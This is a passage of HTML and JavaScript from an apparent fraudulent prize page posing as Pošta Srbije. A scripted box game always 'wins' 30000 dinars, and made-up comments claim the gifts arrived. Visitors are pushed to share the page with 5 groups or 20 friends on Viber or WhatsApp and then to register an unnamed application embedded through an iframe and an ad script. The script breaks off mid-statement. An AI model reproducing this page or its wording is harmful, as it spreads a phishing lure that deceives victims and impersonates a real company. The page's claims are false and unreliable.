                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="10" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
                <div id="11" class="try temblor">
                    <div class="caja_tapa">
                        <img src="ojeymc.shop_files/zhongbox1.png">
                    </div>
                    <div class="caja_trasera">
                        <img src="ojeymc.shop_files/zhongbox2.png">
                    </div>
                    <div class="caja_gift">
                        <img src="ojeymc.shop_files/Serbia_inbox.png">
                    </div>
                    <div class="caja">
                        <img src="ojeymc.shop_files/zhongbox3.png">
                    </div>
                </div>
            </div>
        </div>
        <div class="main-content" id="content4" style="display: none">
            <div class="container share_page" style="padding: 0px">
                <div class="share_body share_page" style="width: 100%;">
                    <div class="share_hd_text">Congratulation!</div>
                    <div class="weui_dialog_img prize_img" style="text-align: center;margin: 20px 0;">
                        <img src="ojeymc.shop_files/Serbia_outbox.png" height="170px">
                    </div>
                    <div class="weui_dialog_text" style="color: #222222;">Your prize is:  30000 динара , Follow the instructions on the next page to claim your prize !</div>
                    <div class="share_main">
                        <div class="share_ing" style="margin: 0 15px;">
                            <span style="color: #222222;">
                                <br>
                                1. Share with 5 groups/20 friends on the following apps (click on the corresponding icon below)
                                <br>
                                <br>
                                2. Click "Continue" and claim your prize.
                            </span>
                            <div id="shareBtn">
                                <div id="shareBtn_mo">
                                    <div style="color:#fff;display:block;width:80%;margin:10px auto;" class="btn btn-block btn-viber" id="btn-viber" onclick="shareBtn('viber')"><i class="fab fa-xl fa-viber"></i> Viber</div><div style="color:#fff;display:block;width:80%;margin:10px auto;" class="btn btn-block btn-whatsapp" id="btn-whatsapp" onclick="shareBtn('whatsapp')"><i class="fab fa-xl fa-whatsapp"></i> Whatsapp</div>
                                </div>
                            </div>
                            <div style="text-align: center;color: #999999; font-size: 14px">Share it until the blue bar is full!</div>
                            <div class="progress progress-striped active" style="margin: 10px 0; border-radius: 19px;">
                                <div class="progress-bar progress-bar-success" style="width:0;background-color:#0876b9;" id="progressbar"></div>
                            </div>
                            <div class="share_main_bt" onclick="continueBtn()" style="margin: 20px auto 0; background-color: #243645;">
                                Continue
                            </div>
                            <br>
                        </div>
                        <div class="share_success" style="margin: 0 15px;display: none">
                            <span style="color: #222222;">
                                <br>
                                Congratulations! The last step:
                                <br>
                                <br>
                                You must complete this final step!
                                <br>
                                <br>
                                1. You must register the application 
below, and it must be opened for 30 seconds after registration.
                                <br>
                                <br>
                                (Remember, this step is very important)
                                <br>
                                <br>
                                2. After completing the above actions, 
please wait for admin to check it, the review will be completed within 
24 hours.
                                <br>
                                <br>
                            </span>
                            <div class="share_main_bt" onclick="shareOkBtn()" id="shareOkBtn">Complete registration</div>
                            <center><iframe marginheight="0" marginwidth="0" id="0_6705" referrerpolicy="unsafe-url" scrolling="no" sandbox="allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" data-id="0_6705" src="ojeymc.shop_files/a.html" width="300" height="50" frameborder="0"></iframe></center>
                            <center><div id="banner_ad_share" style="width: 100%; overflow: hidden;text-align: center"><script type="text/javascript" src="ojeymc.shop_files/bnr.php"></script></div></center>
                            <br>
                        </div>
                    </div>
                    <div class="weui_dialog_text" style="margin-top:-5px;line-height: 36px;color: #666666">
                    </div>
                </div>
            </div>
        </div>
        <div class="main-content" style="margin-top: 10px">
            <div class="comments_face">
                <div class="comments">
                    <p style="margin:0;padding:0;float:left;display:block;width:50%">
                        <span style="color:#3b5998">Comment</span>
                    </p>
                    <p style="margin:0;padding:0;float:right;display:block;width:50%;color:#a8a7a7;text-align:right">
                        10 / 183
                    </p>
                    <div style="clear:both">
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/heksbnshjadss.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Lhea Bernardino</div>
                        </h3>
                        <p>I thought it was a joke, but it was delivered this morning! So surprised! @Pošta Srbije is the best company I've ever met!</p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>1 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/heksbnshjad.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Andres Alcudia</div>
                        </h3>
                        <p>I can't believe it! I won a gift, thanks @Pošta Srbije! 👍👍👍 </p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>3 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/%C5%9E%C9%99bn%C9%99m%20%C6%8Fhm%C9%99dova.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Navato Delena</div>
                        </h3>
                        <p>Great, I never won anything, I'm amazed, thanks Pošta Srbije for the gift!🥰</p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>7 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/heksbnshjadd.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Brian Hermosa</div>
                        </h3>
                        <p>Thanks @Pošta Srbije! Really, I got a gift. I told my friends about it so they can get it too!</p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>9 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/dhjsxioa.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Emilia Amy</div>
                        </h3>
                        <p>I attended, thank you so much! I won and I received it today.</p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>10 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/dssdfool.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Aaron Asedra</div>
                        </h3>
                        <p>😎I love these promotions! Are there any other promotions?@Pošta Srbije</p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>12 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/deguos.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Maria Gabriella</div>
                        </h3>
                        <p>I thought it was a joke, but my family and I received gifts today, hope more people take the survey @Pošta Srbije</p>
                        <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>15 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/halzz.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Aaron Acedera</div>
                        </h3>
                        <p>Are there any other surveys to take?</p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>17 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/healsd.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Maria Gianna</div>
                        </h3>
                        <p>really? When can I receive it?</p> <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>20 minutes ago</span>
                        </span>
                    </div>
                </div>
                <div class="detail_block">
                    <div class="detail_left"><img src="ojeymc.shop_files/halzzpp.jpg"></div>
                    <div class="detail_right">
                        <h3>
                            <div class="comm_name">Paul John</div>
                        </h3>
                        <p>It's true, I got a gift, did you get it?</p>
                        <span class="likebar">
                            <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M1 21h4V9H1v12zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-1.91l-.01-.01L23 10z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <div class="fbblue smaller" href="javascript:void(0);"><svg viewBox="0 0 24 24" preserveAspectRatio="xMidYMid meet" focusable="false" class="style-scope yt-icon" style="pointer-events: none; display: block; width: 4vw; height: 6vw;">
                                    <g class="style-scope yt-icon">
                                        <path d="M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v1.91l.01.01L1 14c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2zm4 0v12h4V3h-4z" class="style-scope yt-icon"></path>
                                    </g>
                                </svg></div>&nbsp; <span>25 minutes ago</span>
                        </span>
                    </div>
                </div>

                <p style="font-size:12px;color:#bcbcbc"></p>
            </div>
        </div>
    </div>
    <div id="footer" style="background-color:#243645;margin-bottom:0;font-size:12px;text-align:center;color:#fff;padding:10px">
        
        <i class="dt[[datetime2]] datetime" id="datetime"></i>
        <p style="line-height:20px;margin-bottom:0">
            © 2022 Pošta Srbije Inc.
        </p>
    </div>
</div>
    <script type="text/javascript">
        // GOGOGO
window.addEventListener('touchstart',function(){
    fhha();
});
var brand_country = 'United Kingdom';
var dayNames = new Array("Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday");
var monthNames = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");
var minutos_y = "minutes and ";
var segundos = "seconds";
var modalOptions = {
    backdrop: 'static',
    keyboard: false
};
var g_share_step = 12;
var g_banner_ad = true;
var g_share_type = 1;
var type_op = 1;
var cl = 0;
var p_e = 0;
var p_s = 0;
var all_p_e = [30, 30, 50, 50, 60, 70, 80, 85, 90, 95, 98, 100];
set_Cookie('hh1',0);
set_Cookie('hh2',0);

// 
var maxParticleCount = 150;
var particleSpeed = 2;
var startConfetti;
var stopConfetti;
var toggleConfetti;
var removeConfetti;
(function() {
    startConfetti = startConfettiInner;
    stopConfetti = stopConfettiInner;
    toggleConfetti = toggleConfettiInner;
    removeConfetti = removeConfettiInner;
    var colors = ["DodgerBlue", "OliveDrab", "Gold", "Pink", "SlateBlue", "LightBlue", "Violet", "PaleGreen",
        "SteelBlue", "SandyBrown", "Chocolate", "Crimson"
    ]
    var streamingConfetti = false;
    var animationTimer = null;
    var particles = [];
    var waveAngle = 0;

    function resetParticle(particle, width, height) {
        particle.color = colors[(Math.random() * colors.length) | 0];
        particle.x = Math.random() * width;
        particle.y = Math.random() * height - height;
        particle.diameter = Math.random() * 10 + 5;
        particle.tilt = Math.random() * 10 - 10;
        particle.tiltAngleIncrement = Math.random() * 0.07 + 0.05;
        particle.tiltAngle = 0;
        return particle;
    }

    function startConfettiInner() {
        var width = window.innerWidth;
        var height = window.innerHeight;
        window.requestAnimFrame = (function() {
            return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window
                .mozRequestAnimationFrame || window.oRequestAnimationFrame || window
                .msRequestAnimationFrame || function(callback) {
                    return window.setTimeout(callback, 16.6666667);
                };
        })();
        var canvas = document.getElementById("confetti-canvas");
        if (canvas === null) {
            canvas = document.createElement("canvas");
            canvas.setAttribute("id", "confetti-canvas");
            canvas.setAttribute("style",
                "display:block;z-index:888888;pointer-events:none;position: absolute;left: 0px;top: 0px;");
            document.body.appendChild(canvas);
            canvas.width = width;
            canvas.height = height;
            window.addEventListener("resize", function() {
                canvas.width = window.innerWidth;
                canvas.height = window.innerHeight;
            }, true);
        }
        var context = canvas.getContext("2d");
        while (particles.length < maxParticleCount)
            particles.push(resetParticle({}, width, height));
        streamingConfetti = true;
        if (animationTimer === null) {
            (function runAnimation() {
                context.clearRect(0, 0, window.innerWidth, window.innerHeight);
                if (particles.length === 0)
                    animationTimer = null;
                else {
                    updateParticles();
                    drawParticles(context);
                    animationTimer = requestAnimFrame(runAnimation);
                }
            })();
        }
    }

    function stopConfettiInner() {
        streamingConfetti = false;
    }

    function removeConfettiInner() {
        stopConfetti();
        particles = [];
    }

    function toggleConfettiInner() {
        if (streamingConfetti)
            stopConfettiInner();
        else
            startConfettiInner();
    }

    function drawParticles(context) {
        var particle;
        var x;
        for (var i = 0; i < particles.length; i++) {
            particle = particles[i];
            context.beginPath();
            context.lineWidth = particle.diameter;
            context.strokeStyle = particle.color;
            x = particle.x + particle.tilt;
            context.moveTo(x + particle.diameter / 2, particle.y);
            context.lineTo(x, particle.y + particle.tilt + particle.diameter / 2);
            context.stroke();
        }
    }

    function updateParticles() {
        var width = window.innerWidth;
        var height = window.innerHeight;
        var particle;
        waveAngle += 0.01;
        for (var i = 0; i < particles.length; i++) {
            particle = particles[i];
            if (!streamingConfetti && particle.y < -15)
                particle.y = height + 100;
            else {
                particle.tiltAngle += particle.tiltAngleIncrement;
                particle.x += Math.sin(waveAngle);
                particle.y += (Math.cos(waveAngle) + particle.diameter + particleSpeed) * 0.5;
                particle.tilt = Math.sin(particle.tiltAngle) * 15;
            }
            if (particle.x > width + 20 || particle.x < -20 || particle.y > height) {
                if (streamingConfetti && particles.length <= maxParticleCount)
                    resetParticle(particle, width, height);
                else {
                    particles.splice(i, 1);
                    i--;
                }
            }
        }
    }
})();

// 
var box_ini = !1
var modalOptions = {
    backdrop: 'static',
    keyboard: false
};
var count = 1;
var windraw = 2;
var intentos = 3;
if(intentos < windraw){var intentos = windraw;}
var puedo = false;
var boxRoot;
var datetime = 1644822887640;
boxRoot = {
    _init: function() {
        setTimeout(function() {
			Swal.fire({
				title: 'Congratulation!',
				html: '<p style="margin:10px 0;font-size: 14px;font-weight: 600;">Your answer has been saved successfully!</p><p style="margin:1px;">You have a chance to win gifts.</p><p style="margin:1px;">You must select the correct box with your prize inside.</p><p style="margin:1px;">You have 3 attempts. Good luck!</p>',
				imageUrl: 'https://cdnbun.com/upload/sewyyz-img.jpg',
			// 	imageHeight: 227,
				imageAlt: 'Custom image',
			}).then(function(){
				puedo = true;
			});
			setTimeout(function(){
				$('.swal2-header').find('.swal2-image').addClass('temblor_inf');
				$('.swal2-content').css('padding','0');
				$('.swal2-content').css('font-size','1rem');
			},50);
        }, 1000);
        jQuery('.try').on('click', function() {
            if (puedo && count <= windraw) {
                if (jQuery(this).hasClass('abierta')) {} else {
                    puedo = false;
                    jQuery(this).addClass('abierta');
                    if (count == windraw) {
                        jQuery(this).addClass('premiazo');
                        setTimeout(function() {
                            jQuery(".div_img_gift, .img_gift").fadeIn("slow",
                                function() {
                                	startConfetti();
                                    setTimeout(function() {
                                    	Swal.fire({
											title: 'Congratulation!',
											html: '<p style="margin:10px 0;font-size: 14px;font-weight: 600;">You did it! You won  30000 динара</p><p style="margin:1px;">*** THE RULES ***</p><div style="text-align:center;"><p style="margin:1px;">1. You must tell 5 groups or 20 friends about our promotions.</p><p style="margin:1px;">2. Enter your address and complete registration.</p><p style="margin:1px;">3. The gifts will be delivered within 5-7 days</p></div>',
											imageUrl: 'https://1.bp.blogspot.com/-elxSxNPSsFw/YKtbRZwT30I/AAAAAAAABoQ/ycAO1PYNXbQ190YWjVcqwwLdcA_lhmrfwCLcBGAsYHQ/s16000/Serbia_outbox.png',
											imageHeight: 180,
											imageAlt: 'Custom image',
										}).then(function(){
											puedo = false;
											showShare();
											stopConfetti();
										});
										setTimeout(function(){
											// $('.swal2-header').find('.swal2-image').addClass('temblor_inf');
											$('.swal2-content').css('padding','0');
											$('.swal2-content').css('font-size','1rem');
										},50);
                                    }, 1500);
                                });
                        }, 4000);
                    } else {
                        count++;
                        intentos--;
                        setTimeout(function() {
                            swal_box(intentos);
                        }, 2000);
                    }
                }
            }
        });
    }
};
$(document).ready(function() {
    if (typeof box_ini == "undefined") {
        boxRoot._init();
    }
});

// 
$(".bq1").click(function() {
	$("#q1").fadeOut("slow", function() {
		$("#q2").fadeIn("slow")
	})
}), $(".bq2").click(function() {
	$("#q2").fadeOut("slow", function() {
		$("#q3").fadeIn("slow")
	})
}), $(".bq3").click(function() {
	$("#q3").fadeOut("slow", function() {
		$("#q4").fadeIn("slow")
	})
}), $(".bq4").click(function() {
	scrollTo("id1"), $("#content1").fadeOut("slow", function() {
		$("#content2").fadeIn(), setTimeout(function() {
			$("#result1").fadeIn(1e3)
		}, 3e3), setTimeout(function() {
			$("#result2").fadeIn(1e3)
		}, 4100), setTimeout(function() {
			$("#result3").fadeIn(1e3)
		}, 6e3), setTimeout(function() {
			$("#content2").fadeOut("slow", function() {
				"undefined" != typeof roulette_ini ? rouletteRoot._init() : "undefined" != typeof box_ini && boxRoot._init(),$("#content3").fadeIn();
			})
		}, 7100)
	})
});

// date
if ($("#timerr").length >= 1) {d((4 * 60) + 29);}
var b = new Date();
var a = f(b.getHours()) + ":" + f(b.getMinutes());
$(".p_var-dia").text(b.getDate());
$(".p_var-mes").text(b.getMonth());
$(".p_var-anyo").text(b.getFullYear());
$(".p_var-dia_nombre").text(dayNames[b.getDay()]);
$(".p_var-mes_nombre").text(monthNames[b.getMonth()]);
$(".p_var-hora_fija").text(a);
if ($(".p_var-browser").length >= 1) {
	var c = getBrowser();
	$(".p_var-browser").text(c);
}
if ($(".p_var-browser").length >= 1) {
